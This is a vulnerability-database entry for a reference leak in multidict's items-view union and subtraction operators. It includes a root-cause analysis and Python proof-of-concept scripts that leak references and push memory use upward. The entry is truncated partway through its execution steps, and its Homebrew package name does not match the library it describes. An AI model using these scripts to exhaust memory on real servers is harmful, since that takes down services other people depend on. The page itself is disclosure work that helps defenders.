CVE-2026-104874: Reference leak in CIMultiDict/MultiDict items-view union and subtraction
Affects pferdSource GCVE Database
Not known to be exploited · CVSS 5.3 Medium : upgrade to 3.9.4_1 when convenient.
Data as of 27 Oct 2026, 23:13 UTC
- Patch
- Available – fixed in 3.9.4_1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:LExploitation evidence
Disclosed: evidence found.
CVE published 2 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.
What to do
Upgrade pferd to 3.9.4_1.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
Homebrewpferdpkg:brew/pferdOther threats | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
## Description A reference leak in the items-view union and subtraction operators of aio-libs/multidict 6.7.0 through 6.9.0 (C extension) lets a remote client drive unbounded, unreclaimable memory growth by having each operand element leak one key-identity object and one value object. The reflected-union path (`operand | d.items()`, `multidict_itemsview_or2_impl`) and the subtraction path (`d.items() - operand`, `multidict_itemsview_sub1_impl`) parse each element into new strong references but release only the tuple wrapper, never the identity and value. Servers in the aio-libs stack build these views over attacker-supplied HTTP headers and query strings, so the operand size is under remote control. Forced garbage collection does not recover the leaked objects, so resident memory rises monotonically until the process is killed. --- ## Root Cause `_multidict_itemsview_parse_item()` returns **new** references: a fresh identity via `md_calc_identity()` and a fresh value via `Py_NewRef()`. The `or2_impl` first parse loop requests both but clears only `arg`: ```c // views.h:565 — or2_impl first parse loop while ((st = PyIter_NextItem(iter, &arg)) > 0) { int tmp = _multidict_itemsview_parse_item( self, arg, &identity, NULL, &value); // identity + value: new refs if (tmp < 0) goto fail; else if (tmp > 0) { if (_set_add(tmp_set, identity, value) < 0) goto fail; } Py_CLEAR(arg); // :575 clears arg ONLY } ``` `_set_add()` builds its own tuple with `PyTuple_Pack` and `Py_DECREF`s it, so it never borrows the loop's `identity`/`value`. On the next iteration those variables are overwritten, so the previous references are lost permanently. The `sub1_impl` first loop (`:686-696`) has the identical omission. This is an editing slip, not an ownership contract: every sibling path clears all three references per iteration, `and1_impl` (`:304-306`), `and2_impl` (`:389-391`), `or1_impl` (`:506-508`), and the second (`md_next`) loops of both functions (`:605-607`, `:726-728`). PR #1413 added a `Py_DECREF(tpl)` to the *second* loop of `or2`/`sub1`, fixing a different temporary-tuple leak; it never touched the first parse loop, so this leak remains on `master`. `views.h` is byte-identical between `v6.6.0` and `v6.7.0`, yet 6.6.4 does not leak and 6.7.0 does. The regression is behavioural, introduced by a key-identity ownership change in `hashtable.h` across that boundary that made `md_calc_identity()` return a fresh strong reference the unchanged parse loop never releases. --- ## Reproduction Environment | Item | Value | |------|-------| | **Runtime** | CPython 3.14.6 | | **multidict** | 6.9.0 (PyPI binary wheel, C extension) | | **OS** | macOS (darwin 25.6.0, arm64) | --- ## Proof of Concept ### POC Source Code #### poc_refcount.py — leak proof with intersection control ```python import sys, gc from multidict import CIMultiDict def probe(name, run_op): d = CIMultiDict(); d["seed"] = "x" value = object() # unique sentinel N = 100000 operand = [("k%d" % i, value) for i in range(N)] gc.collect(); before = sys.getrefcount(value) run_op(d, operand) gc.collect(); after = sys.getrefcount(value) print(f"[{name}] leaked strong refs = {after - before}") probe("or2 operand | items", lambda d, o: o | d.items()) # reflected union probe("sub1 items - operand", lambda d, o: d.items() - o) # subtraction probe("and2 items & operand", lambda d, o: d.items() & o) # CONTROL: clears, expect 0 ``` #### poc_dispatch.py — maps which paths leak ```python import sys, gc from multidict import CIMultiDict def probe(name, fn): d = CIMultiDict(); d["seed"] = "x" v = object(); N = 50000 operand = [("k%d" % i, v) for i in range(N)] gc.collect(); before = sys.getrefcount(v) fn(d, operand); gc.collect(); after = sys.getrefcount(v) print(f"{name:35s} leaked={after - before}") probe("operand | d.items() (or2)", lambda d, o: o | d.items()) probe("d.items() | operand (or1)", lambda d, o: d.items() | o) probe("d.items() - operand (sub1)", lambda d, o: d.items() - o) probe("operand - d.items() (rsub)", lambda d, o: set(o) - d.items()) probe("d.items() & operand (and)", lambda d, o: d.items() & o) ``` #### poc_rss.py — availability consequence ```python import sys, gc, resource from multidict import CIMultiDict def rss_mb(): r = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss return r / (1024 * 1024) if sys.platform == "darwin" else r / 1024 d = CIMultiDict(); d["seed"] = "x" gc.collect(); print(f"start RSS = {rss_mb():.1f} MB") for i in range(200): operand = [(f"k{i}_{j}", f"v{i}_{j}") for j in range(50000)] _ = operand | d.items() del operand gc.collect() # prove GC cannot reclaim the leak if (i + 1) % 40 == 0: print(f"after {(i+1)*50000:>9,} elements: RSS = {rss_mb():.1f} MB") ``` ### Execution Steps 1. `python3 -m venv venv` (CP
References
- github.com/aio-libs/multidict/security/advisories/GHSA-54p9-h82j-f925 (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-104874 (opens in a new tab)
- github.com/aio-libs/multidict/commit/350b4a07bf8ff851b6d7544e81b1c748bdc74c40 (opens in a new tab)
- github.com/aio-libs/multidict (opens in a new tab)
- github.com/aio-libs/multidict/releases/tag/v6.9.1 (opens in a new tab)